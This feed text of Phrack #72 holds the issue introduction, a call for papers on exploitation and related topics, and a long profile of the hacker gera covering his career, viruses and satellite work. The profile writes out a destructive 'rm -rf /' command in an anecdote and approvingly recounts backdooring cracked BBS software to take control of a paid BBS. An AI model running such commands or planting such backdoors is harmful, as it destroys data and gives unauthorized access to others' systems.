https://phrack-feed.lh.mk/main.html Unofficial full-text feed of Phrack #72, built from the official issue tarball. en Tue, 19 Aug 2025 00:00:00 +0000 phrack-feed https://phrack.org/issues/72/introduction.html Tue, 19 Aug 2025 00:00:00 +0000 Phrack Staff Phrack #72 phrack-72-1 ==Phrack Inc.== Volume 0x10, Issue 0x48, Phile #0x01 of 0x12 |=-----------------------------------------------------------------------=| |=-------------------------=[ Introduction ]=----------------------------=| |=-----------------------------------------------------------------------=| |=----------------------=[ Phrack Staff ]=-------------------------=| |=-----------------------=[ staff@phrack.org ]=--------------------------=| |=-----------------------------------------------------------------------=| |=----------------------=[ August 19, 2025 ]=-------------------------=| |=-----------------------------------------------------------------------=| _______ ____ ____ _______ _______________ _____ _____ ._\\____ \\ | |__\\__ \ _\\__ /\ __//_\ | / / : |/ >> : : :/ /./ / | | /. !/ / | : / | / \| __ | | | / \ | ____/| | | \ \ | |__ : | \ \ | |/// |____| |_____\ |\___ | ://\ !_____\ \ | : /////:____|/////\\____|////\\___/. \\____://///\\_____/ |___/ e-zine /////: //////| //// ///// ////// //// . : x0^67^aMi5H^iMP! --[ Hacker Evolution For 40 years, Phrack has published papers that have reflected and shaped hacker culture. The knowledge shared in Phrack has laid the foundation for many fields of study, providing insight, a shared language, resources and tools, as well as context and history. Phrack is written by hackers, for hackers, and offers a glimpse into the world just beyond what most people see. Phrack is both a technical journal and a cultural document. Like all zines, it represents a snapshot of the scene at the time. We share not just our discoveries, but the stories of how we came to know things and the context in which we existed. We share our triumphs, failures, and lessons learned. By fostering a culture of communal idea sharing, we learn how to solve problems creatively, and make the most of our current situation. Over the past 40 years, hacking has evolved, splintered, and mutated into a variety of forms. Phrack has documented many of the key innovations in hacking since its first issue: From showcasing ways to manipulate the phone system and other large computers, to pioneering vulnerability scanning, to generalizing security concepts such as buffer overflows, ROP, and heap exploitation, to bringing it all together within complex ecosystems that seemed like just a fantasy in years past. Each generation builds off the previous and offers us new perspectives, remixing with older ideas and demonstrating how they can be reapplied to new situations. When Phrack was first published in the mid-80s, our relationship with technology was quite different. Many of our challenges involved simply getting and staying online. Today we face entirely new challenges based on what is, what was, and what will be. The hacker ethos remains the same - be curious about your world, make do with what you have, and show how things can be better. What was done before us, and the knowledge shared, provides the base for us to build off of and evolve from. As hackers, we pass on our best characteristics by teaching others. We document how and why we did things based on what was available at the time. We expand on previous generations' work and piece together our own understanding, informed by our own personal experience. The reward is the beauty of what we discover and create, and the joy of sharing and inspiring others. Over time, all of our most beloved and reliable techniques and tools become common knowledge, and new permutations pop up. As circumstances change, so do our needs. What's old becomes new again, new ideas recontextualize the old. The cycle continues. Knowledge is the hacker DNA. Our instincts and curiosity are complimented by the stories of how things were accomplished before. Like hackers and humans before us, we adapt to our environment, and figure out how to meet our needs and achieve our goals. As technology becomes more optimized and abstracted, it can be easy to lose track of the fundamentals. Just because tech has evolved doesn't mean the foundation has changed. We still use AT commands to control our modems. We still activate the A20 line to access memory beyond 1MB on x86 CPUs. In-band signaling is still a pathway into the toughest systems. Weird machines still manifest throughout it all, waiting to be discovered by a hacker like you. Everything is in a state of flux, and the only constant is change. Yet, if we position ourselves correctly, our actions can influence the future. Things mutate. There are happy accidents. The world is chaos, and out of chaos emerges hackers. Hacking has no choice but to evolve, and hacker zines like Phrack evolve with it. We look back at our foundation for inspiration, while we also look forward towards uncharted territory, unafraid of going beyond. We venture into the deepest darkest rabbit holes that few dare to tread, where we see the light that leads us to the most amazing treasures. We address the needs of our communities, find ways to grow together, and encourage each other to keep exploring. We maintain projects like Phrack because it gives a platform for the unadulterated voice of the hacker. Humans are hackers. We were put here to figure things out. Hacking is an innate skill to be tapped into and developed. The hacker spirit guides us through situations once thought hopeless. Hacking is a way to answer your own burning questions, a way to discover your own potential, and a way to create a world you want to live in. There is a hacker born every day. It's our duty to share things that can inform them of the past and present, and give them hope for a better tomorrow. After all, we're all alike. --[ Welcome to Phrack #72 This edition is not just a milestone but a testament to the relentless curiosity, stubborn brilliance, and uncompromising spirit of a global community that refuses to be silenced. A tribute to the old school and the new blood. To the legends who paved the way, and to those just starting to carve their path. It’s held together with tape, sweat, late nights, fried brains, and that twitchy love for the broken and beautiful mess of systems. Huge thanks to every author who contributed their knowledge, tools, exploits, vision, and war stories. Your work keeps the scene alive and sharp. To the reviewers and editors who read between the lines and asked the hard questions. You pushed for clarity without dulling the edge. To the artists who dropped visuals, raw pixel filth, and clean design. You gave this issue texture. You made it feel. To the layout crew who made this beast look like something worth printing in blood. Your work is proof that style and substance can coexist. To everyone who tested drafts, pointed out typos, suggested better payloads, or tighter phrasing. You know who you are. We see you. To the donors who pitched in to fund the printing of our anniversary edition. You helped keep this thing afloat, independent, and untamed. And to the scene. The real one. You’re the reason we’re still doing this. This is yours. A scream in a world that wants silence. A spark under a mountain of dead protocol. Phrack lives because you do, so welcome to the noise and enjoy. — Phrack Staff ISSN 1068-1035 In this edition: - 16 bangers from some of the sharpest minds in the scene - A Prophile on the legendary Gera - A puzzle to melt your brain (and flex your ego) - A full-on CTF — win it and claim your Phrack coin! - Visuals that hit like a payload: stunning GFX, ASCII and glitch art, pure eye candy --[ Greetz Phrack 72 would not have been possible without the incredible hacker scene coming together to help make it happen. Thank you to all the authors, artists, donors, editors, and logistics experts who made this historic issue and international release a reality. Special thanks to our artists: ackmage, amnesia, aNACHRONiST, araknet, bubok arsonian, digitalis, fyodor, ic3qu33n, jinn, mar, mavenmob, netspooky, p0rtL, s01den, x0, ytcracker. Massive thanks to the Paged Out crew for their help making an incredible print layout. This zine would not have been possible without the following people: ackmage -- minted the only coin that'll be worth anything in 2026 bsdaemon -- still carrying hackers forward chompie -- omg will u sign my driver? clockwerk -- l0ve dark tangent -- uber-supporter since dayZero diaul -- w0rd emx -- #bluebox horizon -- ADM 4ever huku -- fan Julio -- The rise of the alligatorzzzz messede -- <b>awesome</b> netspooky -- ultimate cyber skull pinguino -- all your news are belong to her retr0id -- switch 2, retr0id 1, day 0 richinseattle -- keeper of the lore sblip -- whaddup blip skyper -- triplegänger TMZ -- just a chill guy Phrack Staff -- for holding it down Phrack's Tariff -- we got PCBs at home --[ Phrack policy phrack:~# head -77 /usr/include/std-disclaimer.h /* * All information in Phrack Magazine is, to the best of the ability of * the editors and contributors, truthful and accurate. When possible, * all facts are checked, all code is compiled. However, we are not * omniscient (hell, we don't even get paid). It is entirely possible * something contained within this publication is incorrect in some way. * If this is the case, please drop us some email so that we can correct * it in a future issue. * * * Also, keep in mind that Phrack Magazine accepts no responsibility for * the entirely stupid (or illegal) things people may do with the * information contained herein. Phrack is a compendium of knowledge, * wisdom, wit, and sass. We neither advocate, condone nor participate * in any sort of illicit behavior. But we will sit back and watch. * * * Lastly, it bears mentioning that the opinions that may be expressed in * the articles of Phrack Magazine are intellectual property of their * authors. * These opinions do not necessarily represent those of the Phrack Staff. */ --[ Phrack 73 Call For Papers Why should you write for Phrack? - You have a project you've been working on that pushes the limits in some way, doing things that haven't been publicly shared before. If you do cutting edge security research, you should write for Phrack. - You are interested in aspects of security and technology that other people don't seem to care about or understand. If you feel like you need to shed light on a certain topic for all to see, you should write for Phrack. - You keep seeing the same problems over and over and wish someone would just write a straightforward guide for everyone. If you are the person who can write that for now and future generations, you should write for Phrack. - You deserve a place to share your finest work without fear. If you don't want something you poured your heart and soul into turned into another metric for shareholders and potential investors or trapped forever inside a corporate VPN, you should write for Phrack. Worst Case Scenario: You just wrote a cool paper you can share on your own. Best Case Scenario: Your paper gets published in Phrack. :) ::. What do we want? .:: Articles about hacking, exploit development, vulnerability research, and other fine topics. More Specifically: - Exploitation: Demonstrate the latest techniques in breaking mitigations and proving vulnerabilities still have bite. - Persistence: Whether its userland, kernel, or below ring0, share a trick in the dark art of stealth persistence. - Fuzzing and Code Analysis: Automated bug hunting finds the low hanging fruit, how can we make it more lethal? - Binary Obfuscation: We have decompilers but custom VMs and powerful transformations create impenetrable code. - Data Obfuscation: Time to exfil, how do you move a terabyte of data without looking like a fool? - Anti-Forensics: Leave no trace, hide in the mist, or maybe even deploy countermeasures on the parsers! - Web Applications: Discuss confusion, bypass, and injection attacks on the multi-headed hydra of modern applications. - Cloud Security: Complexity and lack of visibility is the soft underbelly of cloud compute, discuss. - Data Storage Weaknesses: If data theft is the end goal, let's talk about all the leaks in storage infra and APIs. - Exploit Mitigation: Finding every bug is futile, how do we design more secure systems to block these attacks? - Malware Analysis: The world is covered in a diaspora of malware, flay open the code and inspect the innards. - Malware Defense: We wade in a pool of parasites attacking from every angle, how do we block their vicious effects? - Exotic Reverse Engineering: What are the corrupt hidden hands of power in this electronic substrate? - Scene History: Let us learn the often isolated tribal history that hasn't been written about before. - Tales from the Crypt: Want to tell a personal story of a righteous hack? Maybe we'll believe you. ::. When Do We Want It By? .:: June 2026 ::. When will Phrack 73 be released? .:: Summer 2026 ----( Contact )---- < Editors : staff[at]phrack{dot}org > > Submissions : submissions[at]phrack{dot}org < < /dev/urandom : loopback[at]phrack{dot}org > > Arts & Leisure : arts[at]phrack{dot}org < < Twitter/X : phrack > > Mastodon : phrack[at]haunted{dot}computer < < BlueSky : phrack{dot}org > The rules are simple: + 7-bit ASCII wrapped to 76 columns OR Markdown UTF-8 + ANTISPAM in the subject line or face the Spam God and walk backwards into hell ]]> https://phrack.org/issues/72/phrack-prophile-on-gera.html Tue, 19 Aug 2025 00:00:00 +0000 Phrack Staff Phrack #72 phrack-72-2 ==Phrack Inc.== Volume 0x10, Issue 0x48, Phile #0x02 of 0x12 |=-----------------------------------------------------------------------=| |=---------------------=[ PHRACK PROPHILE ON Gera ]=---------------------=| |=-----------------------------------------------------------------------=| |=--------------------------=[ Phrack Staff ]=---------------------------=| |=-----------------------------------------------------------------------=| |=---=[ Specs Name: gera Handle: gera Handle origin: it's just my name ¯\_(ツ)_/¯ AKA: casper (around 1993?), Richie++ (¿ 4:900/208.3 ? @FidoNet) Country: Argentina Website: http://127.1:631 GitHub: gerasdf |=---=[ Background 2400 bauds version: I always wanted to do robots. My mother sent me (at 11 yo?) to learn Logo, and I did. Got my first computer (TI99/4A). Got a Commodore 64 and then a 128. Learned assembly on the Commodore, at around 12 years old. PC enters life. Got hold of Turbo Assembler, Turbo Pascal, Turbo Debugger, etc at school. Found friends to learn together. After struggling, I found Ralf Brown's interrupt list, then Sourcer disassembler. The Stoned virus found me, got totally hooked, and started collecting virii. Wrote my first “virus” to bypass security at school. Collected PC viruses, and wrote a few myself. Found more friends to learn with, and we moved on to accessing openly available remote computers. We thought we could even make (legal) money from what we loved. (Co) Founded Core SDI/Core Security, wrote and released ABOs (Advanced Buffer overflows), (co) created Core IMPACT, (this is no longer 2400 bps version and I’m not liking it), I taught assembly and exploit writing, put together the exploits writing team at Core... got fed up of the security industry, started Disarmista (2008?), exclusively offering reverse engineering services for “good reasons”. Got a call from a friend, along the lines of “hey, want to come and do satellites?” – I said “no”, but there was really no reason to say no. 15 years later I’m still doing satellites, and their security too. ---------- Now, the version for the historians and the really bored readers: I started with computers at 10 or 11, and the order of events is fuzzy now at 50. I always liked opening toys to see how they worked, and that earned me the nickname “Ingegneri disarmista” as a kid. For some reason I still can’t understand, I always said "I want to build robots". In 1985 Argentina there weren’t many options, but my mother found a place to send me after school to learn some coding. I had no computer at the time, so I could only touch a keyboard to use Logo on a TI99/4A, once a week. I moved the turtle around, learned geometry and “programming” with lists, it was really fun and eye opening. Then one day my parents showed up with a TI99/4A for me, around 1986. I thought I could do Logo on it, but I discovered I needed a memory expansion and something else, so I was confined to Basic and a few other things... I don't even remember what I did with the TI, likely Basic and very few games... Then I got a Commodore 64. As I gained access to some games (though I don't remember anyone paying for them, except for a guy at 'Valente Computación' who had his own intros), I started wondering how to write them. I knew Logo and had learned some Basic, but that surely wasn't enough. There had to be something else. One day I got my hands on a "Tu Micro Commodore" magazine, and there I found a strange listing with PEEKs, POKEs, and lots of DATA statements with infinite numbers. Of course, I started changing the numbers randomly, and sometimes I was lucky enough to see an effect (other than a crash). The "Tu Micro Commodore" became my window to the world. I religiously waited for the next one arrived (in Argentina, from Spain), and read it through many times. I started compiling together my list of PEEKs, and POKEs, and "Page 0" addresses. It wasn't until I got my Commodore 128 with its built-in "Machine Language Monitor" that I finally understood I needed to learn Assembly... and I did. I got a "Commodore 128" book by Data Becker, where I truly started learning things. I took it to the beach, and read it back and forth, taking notes. I remember I learned boolean logic from it, and “discovered” De Morgan's Law by drawing in the sand. The first things I did in assembly were things to move sprites. Assembly routines to have sprites fall with gravity and jump with the joystick's button - different routines I then put together to make a really crappy platform game. I also had an assembly monitor for the 64, so I did both. The most “advanced” thing I remember was playing with the horizontal raster interrupts, to implement smooth scrolling on a part of the screen. The next for me was to try to figure out how they were playing sampled music, but then... Then I started secondary school in 1988, where they had BBC Micro computers, using the same 6502 as the C64 and a built-in assembly monitor too, so, first day at school in front of a BBC I pulled out my C64 memory map (from memory) of the C64 and started POKEing around... with not much luck. The assembly did work, so I knew I had tools to start again. I figured out some stuff but then, very soon, they brought the first PCs to school. And that was a completely new and unknown world. I was 12? 13? By then. And even though I was most of the day at school, I still had the breaks and nights to go, heh. I remember a conversation with my father that went smth like: >>> I don’t know what to do. I know all about the Commodore 64. If we get a PC I will be helpless, and it took me forever to get my C64 memory map complete. <<< I’m not sure what the answer was, but it didn’t really matter. There was only one way out, starting again from scratch. With no modem and no Internet. First thing: get an assembly monitor (AKA assembler)... I was offered a point at Fidonet. Even without a modem, my node pal got me a 5.25" floppy every day, and I gave him back my messages and some file requests. Amazing! The World was connecting. I went on like this without a modem for many years, becoming Richie++ (sorry!). At school I met Futo, the smartest person I know (sorry everybody else, you know it’s true). Together, we learned most things and even started our first company: Technique and Methods. We wrote DOS tools, kinda like Norton (we had TFF to Find Files, TMD to delete multiple files, TFD to find dups, etc). Then around 1989, we published “Too much info Two”, a Sidekick help file packed with all the information we’d gathered, including Ralf Brown’s interrupt list, and other stuff on PC hardware, PC chip programming, and so on. I really hate that all this has disappeared. I had floppys until not so long ago... maybe they are still somewhere. Or maybe Futo has some of it. And then, we finally got our hands on a Disassembler (Sourcer Commenting Disassembler)! Oh yes, how could I live without it! It was around 1988? 1989? The first thing I remember seriously disassembling was the Stoned Virus, and from there, it could only get better. I started collecting viruses, writing my own, reading all the Virus Report by Bonsembiante (a printed zine), and competing with him on publishing analysis and commented disassemblies of viruses (though he probably never knew it). At some point before that I got my first paid programming job, writing a Turbo Pascal app that had to print a map of the streets marking the water sprouts, in 40 seconds from the moment a fireman picked up the phone, map digitalization software included. I used predictive typing for the addresses and lots of low-level tricks to speed up dot matrix printing: success, 40s! Though, I think it was only sold once. The school had some protections so students couldn’t change the file systems (an INT 13 hook), with Futo we wrote a boot sector “virus” that saved the original pointer and allowed us to restore it, everybody knew about it, it was a really friendly atmosphere and they just let us do what we wanted. That helped a lot. In 1993, my final year of secondary school, I joined a university team focused on viruses (GISVI). The following year, I published and presented my first paper on writing metamorphic viruses: "RICE - Individualized Regeneration of Encrypting Code", surprisingly still available online. It was there I met Beto, long-time maintainer of Impacket and a lifelong friend. Ever since, he has been my professional cornerstone in security, somebody I’d keep working with until my last day if I could. Soon after that I met the HBO team (Hacked by Owls), via Saltamontes, a great friend, who also was one of my bosses at the Firemen mapping company. Saltamontes, LBD, OPii, Janx Spirits, amazing people, together with Futo, all founders of Core SDI/Security. But just before that, a team of 26+ hackers got hired by the Argentinean IRS, a few virus writers, some exploit writers, system hackers, crypto experts, all in the range 17-19, they (the IRS) didn’t even know how to legally pay us. They threw us in a large empty cellar, and just let us loose, until they needed us for something. We hacked, and coded, and did ftp-mail, and tried Igdrasil Linux as it was released... It was the genesis of many great things, including Core. Oh, I’m getting a bit tired of writing, sorry :-/ Ah! Yes! At some point, “somebody dropped a pay phone in a friend's backyard”, and the friend, thinking it was an alien device, called us. The only thing we could think of was to open it and reverse engineer it all the way, producing software updates and improvements that eventually escaped the laboratory the day we left the window open. These updates nested in a payphone outside a hacking conference in Buenos Aires in 1994 to show a “Manifiesto HBO” in the LCD display of the phone, picked up by local newspapers. No wait, “the aliens dropped” two [Telecom] payphones, with a note to deliver one to M. Blaze at HOPE’95 in NYC so he could break the clipper chip with an alien tool, though he never needed it because he had his brain to do it. The weirdest part is that the aliens asked us to deliver a “Telefónica” payphone, which we didn’t have. Afraid of getting struck by lasers from outer space, we were forced to get into a drug-dealers-hostage-exchange situation dark at night to exchange the extra Telecom phone for a Telefonica phone, which was a lot heavier too. So, with a phone in the backpack, and a hundred excuses that we never needed, we first went to Summercon in Atlanta to play “spot the FBI agent”, and then arrived at NYC for HOPE. Luckily nobody bombed the airplane on our way in (from Argentina), possibly because somebody unknown (unknown but with a good Spirit) stuck a “BOMB!” (“Boom?”) note in the restroom, and what are the chances that there are two bombs in a single airplane? As expected, the police and dogs sniffing around the airplane didn’t understand it was all for the safety of the fellow passengers. And then, Core happened. Lots of magic in the ~15 years at Core. We “invented” Contextual Access, Zero Trust, SIEM and named it Core Force, a product that was just too large for us, though we sold it and deployed it into a large bank, and other places, to then release it open source in 1997. We did consulting (“Red Teaming” today) for very large companies, [anonymously] participated in the definition of PCI standard (sorry), broke things, fixed things, and had infinite fun, growing the team with more amazing people. We sold $30k of exploits to Kurtz and McClure, who never paid us (don’t worry, it’s prescribed now) for their pentesting team. We were close pals to Secure Networks Incorporated, worked on developing Ballista, then other security products as it was sold to Network Associates. And then, also sort of derived from interactions with the team at SNI (Oliver and Alfred mostly?), we started Core IMPACT, a professional pen-testing tool (a collection of QAed exploits, with a great UI), and printed the memorable t-shirts “Go Hack Yourself!" (~2001). Core and the conferences were my travel agency, and I loved it. I got connected to my idols that turned out to be just people (some of them at least). And then, I left Core :-p Just one anecdote: When we hired Raddy (still going around in the community as L. Lavarello), he came to the interview with the school uniform and his mother... Inside the office (downtown Buenos Aires, lawyers office building) we were playing soccer, the people downstairs knocked at our door to ask that we stop doing noise, and we opened it shirtless, sweating, with the ball under the arm, and a serious face to say “sure, don’t worry”... and Raddy’s mother asking us “please, take care of my son”. For him I originally wrote the ABOs, one by one as he solved them, or had a new idea. Then most in the office were playing, and it made sense to make them public. I also remember abo5.c was particularly challenging for many, and one day riq came with a solution he dreamed of: A gorgeous lady came out of the water and told him the solution, something like “overwrite the pointer...". The next day he showed up with a solution that was not what I thought, but worked, so I had to rename it into abo6.c, and add a new abo5.c before it :-p Then came the second generation of exploit writers, with ricnar leading the pack. I always remember his job interview. It was 2006, and somebody told me “you don’t know ricnar? What? You have to meet him, why don’t you interview him?”. And no, I didn’t know him, and I’m still ashamed for not knowing him. A grown up guy showed up to the interview. He didn’t look like the revel teenager I was used to. He looked more like somebody who was repairing elevators for many years, which was exactly what he was doing. We started talking, and as I had “studied” for the interview, I started asking questions to see if he really knew what he was talking about: he really knew all his shit. It was a great interview, and if you’ve met him, you know he can pull out stories and anecdotes from thin air and keep you entertained for hours. He was actually fixing elevators, but in his spare time, well... he just became the father of the Latin cracking scene, and by that time, he had published around a 1000 tutorials on cracking whatever crossed his hands. I hired him right there, and I remember I got a bit emotional when he asked me with shining eyes, “So, you mean I can start working and make money using OllyDbg? It’s a dream come true!”. He then learned python, and writing exploits, and of course wrote and published countless tutorials on both. His technique? When he learns anything new, he has a document open to the side, and writes the tutorial as he moves forward, taking screenshots, and writing his thoughts. I’ve seen him in conferences, infinitely humble, while a hundred different Spanish accents from all around talk to him. I wish I had the energy to write so many tutes. As the scene started to get weird, with 0-days raising the prices, vuln markets, friends going silent and machine guns escorting me to the toilet, I needed to exit. Again, I thought: I want to make money doing what I love, so I started a reverse engineering shop (Disarmista, now under Futo’s command, doing a lot more than just RE). Luckily a very early customer wanted me to help them maintain a Smalltalk VM that was long abandoned, but was core to their product. And they had a fixed idea: We need you to document the VM (written in ASM) so we can understand it, and we can only understand Smalltalk code. So, we sat down to write a Smalltalk VM in Smalltalk, to get a Smalltalk system that could compile itself into executable form, releasing “iterde” (Iterative Decompilation) stupid-tool in the path. The project is still alive, now called Bee and evolved into Powerlang, and it’s one of the things I’m proud and amazed we could do. After Disarmista I got a call from LBD, A.K.A. Emi, “Let's do Satellites!”. He tricked me into a 2 day meeting, sitting in the corner as “Just a friend, don’t worry about him”, to keep my mouth shut for only 30 minutes as I couldn’t stop thinking (and saying) “what you are saying is all wrong!” to experienced space engineers (sorry guys!). But well... for what we wanted to do at Satellogic (true low cost high performing earth observation satellites) it was the wrong philosophy. It took longer than what we imagined, but we finally managed to design, build, launch, operate and sell [50+] satellites and the images of the World they capture. It was really amazing, again thinking “what? I know nothing about satellites... I’ll have to start again from scratch, and my brain is already dead”. But it wasn’t, it was just sleeping out of boredom, and it woke up to the challenge. ---------- Today, I’m still doing satellites, and their security too. An amazing team. In a way, we repeated a part of Core’s story, in building an amazing team and culture, really, because the only way of doing impossible things is to have fun while you do them, and to get surrounded by people that’s smarter than you. I know you likely want to know about how we do satellite security, but this is getting too long, and it’s too interesting to do a 2400 bps version, sorry. I’m going to stop here, though I went back already a couple times to insert earlier memories. |=---=[ Inspiration Wanting to do games was the reason I first learned assembly (why would somebody learn assembly today?). Then viruses and their reproductive capability really hooked me. Reproduction is one of the main characteristics of living organisms, I felt then (though virii don’t have opposite thumbs like Koalas, which have two). Reversing stealth viruses I learned there were many tricks only a few knew, that gave you invisibility. With friends I learned hacking, and the thirst for knowledge and solving puzzles was just too strong and addictive, it still is. As for people, I started so disconnected that it was hard to get a model, though I always say my great teacher was Petro, “just” a teacher, who was so good at explaining, that you always left thinking you understood it all and just had the greatest idea of humanity, just by yourself. |=---=[ Favorites: Programming Languages: Smalltalk and Assembly. Weird, uh? I currently do python mostly every day, and I’m very comfortable and programmed for money in many languages. But Smalltalk is my favourite high-level language. I like how it forces me to think from the point of view of the object I’m currently programming, and switch to a different PoV as I move to a different class. On the other end, Assembly. I still love the challenge of building large things with small parts, and squeezing and squeezing and squeezing. I did manage to find excuses to do some things mixing the two, and I still think one day I will go back to continue them. Pwnie Award: Erm... never followed them, sorry. Did Phrack get one? Best Hack: Not many, but did I say cracking at all already? In Argentina, as in many forgotten countries, cracking was a necessity. Many times, even when you wanted to buy the software and had the money (not very likely), you couldn’t. So, we were only left to our own devices, likely by design (as they say, the first is free...) I mean, we had to do some cracking. During my C64/128 era I just didn’t understand enough, but entering the PC I realized that I just couldn’t copy a program and install it at home. So, here comes the cracking and the debugger. So I cracked a few apps, for myself or to amuse friends, like getting infinite money in Sim City. But one day I was the first to get the new version of Remote Access (a BBS hosting software) in Argentina, and it needed cracking. So I set out to crack it. It was a quick job initially, but then I discovered there was a whole set of functionality that wasn't regularly available. This gave me the idea of adding even more functionality (some may call it a backdoor) that enabled a sort of god mode. It took me a couple of days. The whole time I was telling people 'yes yes, I'm almost there, cracking isn't easy you know.' When I finally finished, I slightly changed the banner to identify it easily, and set it free. Eventually I found a large paid BBS that had installed my version, so I dialed in (yeah! I finally got a modem!) and activated my secret menu option. I used a particular username that froze the screen on the server side but gave me full control over it (basically remote god mode). It was a lot of fun, and the BBS hosted a lot of technical information that I craved for. I believe the username was Daniel Calpazzo, which I picked at random. After I did this a few times, the BBS showed a new banner: “Daniel Calpazzo, we noticed you are having problems logging in. Please contact us and we'll help you”. Nobody else knew about the extra functionality, so after I got bored and stopped using it, they ended up with a very stable Remote Access crack. Software: --------- I totally forgot before: All sorts of debuggers. Debuggers are the swiss army knife of hackers. gdb lets you script C, plant in-memory backdoors, do in-memory cracks, is installed in most systems, and doesn’t trigger AVs as netcat does (WTF?). But of all RE tools, my love goes to IDA. I must admit I stopped using IDA regularly just before Ghidra was released, and I never got fluent in radare or others, though I did use and contributed to Pedram’s PAIMEI. Still, my favourite software: IDA Museum: ------- A science museum comes to mind first, but I’ve done quite a few, so no. I like seeing ancient civilizations, and finding (or thinking) how similar we still are after 5000 years. All anachronistic archaeological findings really spark my curiosity, but I don’t know if there is such a museum. Hacking: -------- Reverse Engineering firmware to add functionality. Hardware hacking and Hardware making. I wish I did A LOT more of that. Do it yourself for me. |=---=[ Memorable Experiences: For this issue, just one, or it’ll get too long: It was the last evening before shipping our third satellite (Tita, for Tita Merelo). It was unfinished, of course, and we were doing software changes all the time, even on the satellite systems themselves (no CI/CD, sorry). The satellite had (has?) 6 Linux systems, and the main Linux guy was doing the final touches, everybody around doing stuff, and then “MIERDA!”, he shouted, and silence fell on the floor. All cameras to his face, he was buried in his hands, frozen in place, not even breathing... so, somebody approaches to see the screen, and there were 6 sshs, all doing the same with those multi-ssh things, all reading: # rm -rf / # ^C # _ So there’s no doubt: He rm -rf’ed the 6 Linuxes in the satellite. The µSD cards epoxied so they could stand launch vibrations, computers screwed deep inside, screws epoxied, the satellite closed, covers epoxied... only an ethernet cable. The cursor, blinking... late evening, T-12h to ship the satellite in a box to the launch site in Baikonur. So, as calm as we could, we took him off the keyboard, and sat down with Phil, an infinite friend (that never answers my msgs) and an incredible hacker-in-the-good-sense (if there’s any bad sense), only known to few. We both sat down, next to each other, in the mode that we had developed during nights of “playing games”: One types at the keyboard, the other checks and hits enter. We started going around seeing what was available # ls -lR / bash: ls: command not found # _ # echo /* /usr /tmp ... # _ Long story short: though some binaries remained, /lib had disappeared, nothing that was dynamically linked really existed. Digging around, we found a qemu binary on the satellite's ARM system, there to run x86 binaries. We had no idea why, but it was there, statically linked, and, luckily for us, it had the gdb interface enabled. That was it. The problem wasn’t a problem anymore, we had a solution. We just needed to implement it. Our plan was to use qemu to launch any binary with a remote gdb listener on a TCP port. Once we connected, we could inject a shellcode directly into memory. The shellcode was designed to receive a data blob, save it as a file, and make chmod it +x. That blob would be a statically-linked rsync. While somebody ordered pizzas, we gave the guy who did the rm -rf the task of compiling that rsync. It kept him busy and stopped him from jumping out a window while we (Phil did I think) wrote the shellcode. When everything was ready, we took a deep breath... and it was a success! We had rsync running. Using rsync, we restored the systems from a clean backup. It was well past midnight and there was still work to do before shipping, but the relief in the room was notable, somebody played Loose yourself to dance, and I jumped to dance. We were happy. The next day, 'Tita' was sent off, later launched into orbit with her Linuxes properly configured and all :-). As for the guy who caused it all? It was his birthday. His family was waiting for him at the hotel, past midnight, to blow out the candles. He kept feeding them excuses because, really, how do you explain that you accidentally wiped a satellite right before its launch? No matter what you say, the wife will only hear “I’ll be late, I'm with another girl. |=---=[ What is the achievement you're most proud of? There’s something that makes me proud, not exactly my personal achievement, more like a group achievement: >>> The size and quality of the security scene in Argentina <<< Many things happened at the same time, and maybe the Ekoparty was a bigger contributor through the years, but so many amazing people passed through Core, for many their first true job (because nobody else dared to employ them, heh), untamed creativity, infinite thirst for breaking the limits and doing impossible things. Core grew and grew, attracting talent, until it exploded. First I was mad at us and the people leaving, but with some time I felt how the spores got rooted in other places, new companies got infected with the culture, and suddenly the family got back together, and it was larger than before and amazing again. Of course, I should have made a lot of money when we “sold” it, but no, we just didn’t. I think we got around $5k total (each!). Don’t sign anything with the big monsters, they’ll just eat you. On a different life, I’m also happy (not sure if proud) I could write an OS purely in Smalltalk (see SqueakNOS), with network drivers, and all. |=---=[ What is something you are not proud of? In short, I’m not proud of having contributed somehow to the weaponization of the exploits and mercenarization of the experts. I remember. Back in 2000-2001 getting in a room with my friends/partners at Core SDI (Core Security later), to discuss whether we should do Core IMPACT and whether we should include 0-days or not, knowing we were getting into cyber-weapons and that our technology had “dual use” (like if a scissor didn’t have “dual use”). We had a proposal and we decided not to do 0-days for Core IMPACT, decided to keep publishing everything we found, and decided to leave a lot of money on the side (or so we believed). “Somebody else will do it”, “But I think we can make a difference, and if we can, I don’t want to do it”, etc. I kind of walked away almost proud of the decision, and stranded by it. Still, I went on and taught “Assembly and Exploit writing classes” to customers of Core, once to people of some American agency that couldn’t tell me where [on what 3 letters agency] they worked, or on a military base where a siren light played as we walked around and they escorted me to shit with machine guns, waiting outside the cubicle, literally, as I tried to fart as loud as possible... as if it would make any difference. Not sure what if anything I could have done differently, or if I should, or if what I did was right. I know there are truly good reasons to use cyber-weapons, still, I’m not proud of indirectly collaborating with weaponization and mercenarization. I lost friends in the process, as we all saw the industry changing rapidly. Sometimes I think the antisec movement was right: anything you do contributes to give more power to the status quo (and this is sort of right), just do your stuff, don’t publish anything. But that’s not right, that’s pretending you are the only one you can find the bugs you find, and write the exploits you write, and that’s just not true, it’s the other way around: if you did it, it’s clear that someone else can do it, just kill the 0-day and contribute to balance the power. |=---=[ What would you like to see published in Phrack? Tough question. I still read Phrack, and still love the tone and the technical content. But it feels like real-world exploits are happening somewhere else, sorry. The 9 chained exploits to finally get from 0-click whatsapp to total iPhone kernel control are still private (or maybe I missed an article, sorry if I did). I get it, they have an unthinkable value, but that’s for a reason (who can pay that much money for an exploit? Think about it). So, I’d love to see anonymous contributions describing high valued techniques, killing them for the private offender, opening them for the defenders. I mean, if AI is going to leave us without a job anyway (really?), let's just try to balance things a bit before it happens. |=---=[ How did Phrack influence you and helped shape who you are? A lot. Along with other zines, Phrack always stood out for its technical content. I remember studying all articles on heap exploitation (w00w00’s, MaXX’, the anonymous one) nergal’s article on ret2libc and klog’s on frame pointer overwrite, grugq’s ELF article, and his and scut’s on ELF encryption, and many more that I now recognize browsing the online issues. I used to print those articles and read them over and over. I even carried a few of the original printouts with me through many moves over the years. A few months ago, I found the stack and finally gave them a new life. Reading all the tricks, understanding all the different points of view, finally helped me develop the instinct that a bit is just a bit, and all the meaning is in the observer. And I figured I’m not a lonely weirdo who ENJOYS squeezing the constrained options a vulnerability offers to conquer the execution flow. We are legion. |=---=[ What is your favourite bug/exploit? I sadly forgot many, I feel the empty space in my memory. Let me try a few. == CVE-2004-0368 - dtlogin double free. Not the vulnerability, but the exploit. I was writing exploits for Core IMPACT, and need to get it to work always. It was tricky, because getting the double free to do a write-anything-anywhere depended on the heap state which has to be assumed dirty, though who used dtlogin? Target: Solaris running on SPARC. 